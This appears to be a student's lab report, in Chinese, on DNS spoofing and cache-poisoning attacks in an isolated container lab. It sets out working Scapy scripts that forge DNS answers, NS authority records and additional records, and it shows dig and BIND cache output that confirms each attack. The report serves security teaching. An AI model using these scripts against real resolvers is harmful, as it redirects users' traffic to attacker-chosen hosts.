Lab5

57118104 郭雅琪

1

修改代码如下：

```
from scapy.all import *
import sys
NS_NAME = "www.example.com"
def spoof_dns(pkt):
    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-
8')):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%:
%DNS.id%}"))
        ip = IP(src=pkt[IP].dst,dst=pkt[IP].src) # Create an IP
object
        udp = UDP(dport=pkt[UDP].sport,sport=53) # Create a UPD
object
        Anssec =
DNSRR(rrname=pkt[DNS].qd.qname,type='A',rdata='1.2.3.4',ttl=259200)
# Create an aswer record
        dns =
DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qdcount=1,qr=1,ancount=
1,an=Anssec) # Create a DNS object
        spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
        send(spoofpkt)
myFilter = "udp and (src host 10.9.0.5 and dst port 53)" # Set the
filter
pkt=sniff(iface='br-7fc45d9c4b4d', filter=myFilter, prn=spoof_dns)
```

采用命令延缓来自网络中的流量的延迟。

```
root@2f3eb492a567:/# tc qdisc add dev eth0 root netem delay 100ms
```

运行代码后：

```
root@VM:/volumes# python3 attack.py
 10.9.0.5 --> 10.9.0.53: 33902
.
Sent 1 packets.
```

```
root@1f796f921884:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33902
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.4

;; Query time: 52 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 09:10:50 UTC 2021
;; MSG SIZE  rcvd: 64
```

响应报文中的www.example.com确实被映射到1.2.3.4，攻击成功。

2

本任务攻击本地DNS服务器，使本地DNS服务器缓存中有相应记录。修改代码如下：

```
from scapy.all import *
import sys
NS_NAME = "www.example.com"
def spoof_dns(pkt):
    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-
8')):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%:
%DNS.id%}"))
        ip = IP(src=pkt[IP].dst,dst=pkt[IP].src) # Create an IP
object
        udp = UDP(dport=pkt[UDP].sport,sport=53) # Create a UPD
object
        Anssec =
DNSRR(rrname=pkt[DNS].qd.qname,type='A',rdata='1.2.3.4',ttl=259200)
# Create an aswer record
        dns =
DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qdcount=1,qr=1,ancount=
1,an=Anssec) # Create a DNS object
        spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
        send(spoofpkt)
myFilter = "udp and (src host 10.9.0.53 and dst port 53)" # Set the
filter
pkt=sniff(iface='br-7fc45d9c4b4d', filter=myFilter, prn=spoof_dns)
```

清空DNS服务器上的缓存后，运行上述代码。

```
root@1f796f921884:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29984
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 326ee54f371806ac0100000060f9377c403ab684e93e7ebb (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.4

;; Query time: 4580 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 09:16:44 UTC 2021
;; MSG SIZE  rcvd: 88
```

www.example.com被成功映射到了1.2.3.4。查看本地DNS服务器上的记录。

攻击前的缓存：

```
root@2f3eb492a567:/# rndc dumpdb -cache
root@2f3eb492a567:/# cat /var/cache/bind/dump.db | grep www.example.com
www.example.com.        691170  A       93.184.216.34
```

攻击后的缓存：

```
root@2f3eb492a567:/# rndc dumpdb -cache
root@2f3eb492a567:/# cat /var/cache/bind/dump.db | grep www.example.com
www.example.com.        863970  A       1.2.3.4
```

缓存污染攻击成功。

3

以上两个实验中的攻击只影响一台主机，实验3构造可以一次影响整个example.com域的攻击。修改代码如下：

```
from scapy.all import *
import sys
NS_NAME = "www.example.com"
def spoof_dns(pkt):
    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-
8')):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%:
%DNS.id%}"))
        ip = IP(src=pkt[IP].dst,dst=pkt[IP].src) # Create an IP
object
        udp = UDP(dport=pkt[UDP].sport,sport=53) # Create a UPD
object
        Anssec =
DNSRR(rrname=pkt[DNS].qd.qname,type='A',rdata='1.2.3.4',ttl=259200)
# Create an aswer record

NSsec=DNSRR(rrname="example.com",type='NS',rdata='ns.attacker32.com
',ttl=259200)
```

```
        dns =
DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qdcount=1,qr=1,ancount=
1,nscount=1,an=Anssec,ns=NSsec) # Create a DNS object
        spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
        send(spoofpkt)
myFilter = "udp and (src host 10.9.0.53 and dst port 53)" # Set the
filter
pkt=sniff(iface='br-7fc45d9c4b4d', filter=myFilter, prn=spoof_dns)
```

运行代码前清空DNS缓存。运行代码，并在User端dig www.example.com， dig mail.example.com。

```
root@1f796f921884:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 24998
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: d48aff4a95f3456f0100000060f957c6af035bd55d5a0cb9 (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.4

;; Query time: 4516 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 11:34:30 UTC 2021
;; MSG SIZE  rcvd: 88
```

www.example.com被映射到了1.2.3.4。

```
root@1f796f921884:/# dig mail.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 60525
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 04aed12101629c8b0100000060f9581774cfa080fd7fd30f (good)
;; QUESTION SECTION:
;mail.example.com.              IN      A

;; ANSWER SECTION:
mail.example.com.       259200  IN      A       1.2.3.6

;; Query time: 456 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 11:35:51 UTC 2021
;; MSG SIZE  rcvd: 89
```

mail.example.com被映射到了另一个IP地址。

在本地DNS服务器上也查询到了相应的记录。

```
root@2f3eb492a567:/# rndc dumpdb -cache
root@2f3eb492a567:/# cat /var/cache/bind/dump.db | grep example.com
example.com.            777483  NS      ns.attacker32.com.
mail.example.com.       863967  A       1.2.3.6
www.example.com.        863886  A       1.2.3.4
```

4

该任务将攻击扩展到example.com域之外。修改代码如下：

```
from scapy.all import *
import sys
NS_NAME = "www.example.com"
def spoof_dns(pkt):
    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-
8')):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%:
%DNS.id%}"))
        ip = IP(src=pkt[IP].dst,dst=pkt[IP].src) # Create an IP
object
        udp = UDP(dport=pkt[UDP].sport,sport=53) # Create a UPD
object
        Anssec =
DNSRR(rrname=pkt[DNS].qd.qname,type='A',rdata='1.2.3.4',ttl=259200)
# Create an aswer record

NSsec1=DNSRR(rrname="example.com",type='NS',rdata='ns.attacker32.co
m',ttl=259200)

NSsec2=DNSRR(rrname="google.com",type='NS',rdata='ns.attacker32.com
',ttl=259200)
        dns =
DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qdcount=1,qr=1,ancount=
1,nscount=2,an=Anssec,ns=NSsec1/NSsec2)
        spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
        send(spoofpkt)
myFilter = "udp and (src host 10.9.0.53 and dst port 53)" # Set the
filter
pkt=sniff(iface='br-7fc45d9c4b4d', filter=myFilter, prn=spoof_dns)
```

清空缓存后，重新进行攻击。www.example.com攻击成功。

```
root@1f796f921884:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 51373
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 41f1bda3532ff0c10100000060f9597fa638f640234af06e (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.4

;; Query time: 4240 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 11:41:51 UTC 2021
;; MSG SIZE  rcvd: 88
```

```
root@1f796f921884:/# dig www.google.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.google.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 34755
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 970da3de202345b30100000060f9598e7a5dfdc66342fdb2 (good)
;; QUESTION SECTION:
;www.google.com.                        IN      A

;; ANSWER SECTION:
www.google.com.         75      IN      A       199.16.156.40

;; Query time: 1516 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 11:42:06 UTC 2021
;; MSG SIZE  rcvd: 87
```

查询DNS缓存。

```
root@2f3eb492a567:/# rndc dumpdb -cache
root@2f3eb492a567:/# cat /var/cache/bind/dump.db | grep example.com
example.com.            777567  NS      ns.attacker32.com.
www.example.com.        863968  A       1.2.3.4
root@2f3eb492a567:/# cat /var/cache/bind/dump.db | grep google.com
google.com.             777583  NS      ns1.google.com.
                        777583  NS      ns2.google.com.
                        777583  NS      ns3.google.com.
                        777583  NS      ns4.google.com.
ns1.google.com.         777583  A       216.239.32.10
ns2.google.com.         777583  A       216.239.34.10
ns3.google.com.         777583  A       216.239.36.10
ns4.google.com.         777583  A       216.239.38.10
www.google.com.         604858  A       199.16.156.40
```

google.com对应的NS为ns1.google.com，ns2.google.com，ns3.google.com，ns4.google.com，当三级域名为其他时是查询不到的。

5

修改代码如下：

```
from scapy.all import *
import sys
NS_NAME = "www.example.com"
def spoof_dns(pkt):
    if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-
8')):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%:
%DNS.id%}"))
        ip = IP(src=pkt[IP].dst,dst=pkt[IP].src) # Create an IP
object
        udp = UDP(dport=pkt[UDP].sport,sport=53) # Create a UPD
object
        Anssec =
DNSRR(rrname=pkt[DNS].qd.qname,type='A',rdata='1.2.3.4',ttl=259200)
        Anssec1 =
DNSRR(rrname='ns.attacker32.com',type='A',rdata='1.2.3.4',ttl=25920
0) # Create an aswer record
```

```
        Anssec2 =
DNSRR(rrname='ns.example.com',type='A',rdata='5.6.7.8',ttl=259200)
# Create an aswer record
        Anssec3 =
DNSRR(rrname='www.facebook.com',type='A',rdata='3.4.5.6',ttl=259200
) # Create an aswer record

NSsec1=DNSRR(rrname="example.com",type='NS',rdata='ns.attacker32.co
m',ttl=259200)


NSsec2=DNSRR(rrname="example.com",type='NS',rdata='ns.example32.com
',ttl=259200)

        dns =
DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qdcount=1,qr=1,ancount=
1,arcount=3,nscount=2,an=Anssec,ns=NSsec1/NSsec2,
ar=Anssec1/Anssec2/Anssec3)
        spoofpkt = ip/udp/dns # Assemble the spoofed DNS packet
        send(spoofpkt)
myFilter = "udp and (src host 10.9.0.53 and dst port 53)" # Set the
filter
pkt=sniff(iface='br-7fc45d9c4b4d', filter=myFilter, prn=spoof_dns)
```

清楚缓存后重新攻击，发现攻击成功。

```
root@1f796f921884:/# dig www.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> www.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 64548
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: a81fa5282bc3803e0100000060f95c2047ec853a4e9bf96c (good)
;; QUESTION SECTION:
;www.example.com.               IN      A

;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.4

;; Query time: 1740 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 11:53:04 UTC 2021
;; MSG SIZE  rcvd: 88
```

```
root@1f796f921884:/# dig mail.example.com

; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 39946
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: e426f17ffe7d92ad0100000060f95c969d3ef5b37de2b148 (good)
;; QUESTION SECTION:
;mail.example.com.              IN      A

;; ANSWER SECTION:
mail.example.com.       259200  IN      A       1.2.3.6

;; Query time: 216 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Thu Jul 22 11:55:02 UTC 2021
;; MSG SIZE  rcvd: 89
```

查询DNS缓存时，发现只有example.com域中的记录，www.facebook.com不属于该域因此会被丢弃。

```
root@2f3eb492a567:/# rndc dumpdb -cache
root@2f3eb492a567:/# cat /var/cache/bind/dump.db | grep -e example -e attacker -
e facebook
example.com.            777362  NS      ns.example32.com.
                        777362  NS      ns.attacker32.com.
www.example.com.        863765  A       1.2.3.4
root@2f3eb492a567:/#
```